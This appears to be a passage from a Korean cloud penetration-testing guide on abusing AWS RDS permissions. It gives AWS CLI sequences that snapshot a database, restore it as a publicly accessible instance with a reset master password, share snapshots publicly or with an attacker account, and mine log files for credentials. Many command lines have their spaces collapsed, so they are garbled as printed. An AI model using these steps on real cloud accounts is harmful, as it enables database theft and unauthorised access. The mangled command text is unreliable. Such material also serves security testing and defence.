공격자가 충분한 권한을 가지고 있다면, DB의 스냅샷을 생성한 후, 그 스냅샷에서 DB를 공개적으로 접근 가능하게 만들 수 있습니다.
awsrdsdescribe-db-instances# Get DB identifierawsrdscreate-db-snapshot \--db-instance-identifier <db-id> \--db-snapshot-identifier cloudgoat# Get subnet groups & security groupsawsrdsdescribe-db-subnet-groupsawsec2describe-security-groupsawsrdsrestore-db-instance-from-db-snapshot \--db-instance-identifier "new-db-not-malicious" \--db-snapshot-identifier <scapshotId> \--db-subnet-group-name <dbsubnetgroup> \--publicly-accessible \--vpc-security-group-ids <ec2-securitygroup>awsrdsmodify-db-instance \--db-instance-identifier "new-db-not-malicious" \--master-user-password 'Llaody2f6.123' \--apply-immediately# Connect to the new DB after a few mins
이 권한을 가진 공격자는 DB의 스냅샷을 생성하고 이를 공개적으로이용 가능하게 만들 수 있습니다. 그런 다음, 그는 자신의 계정에서 해당 스냅샷으로 DB를 생성할 수 있습니다.
공격자가 rds:CreateDBSnapshot 권한이 없더라도, 여전히 다른 생성된 스냅샷을 공개로 만들 수 있습니다.
# create snapshotawsrdscreate-db-snapshot--db-instance-identifier<db-instance-identifier>--db-snapshot-identifier<snapshot-name># Make it public/share with attackers accountaws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
## Specify account IDs instead of "all" to give access only to a specific account: --values-to-add {"111122223333","444455556666"}
rds:DownloadDBLogFilePortion
rds:DownloadDBLogFilePortion 권한을 가진 공격자는 RDS 인스턴스의 로그 파일의 일부를 다운로드할 수 있습니다. 민감한 데이터나 접근 자격 증명이 우연히 기록된 경우, 공격자는 이 정보를 사용하여 권한을 상승시키거나 무단 작업을 수행할 수 있습니다.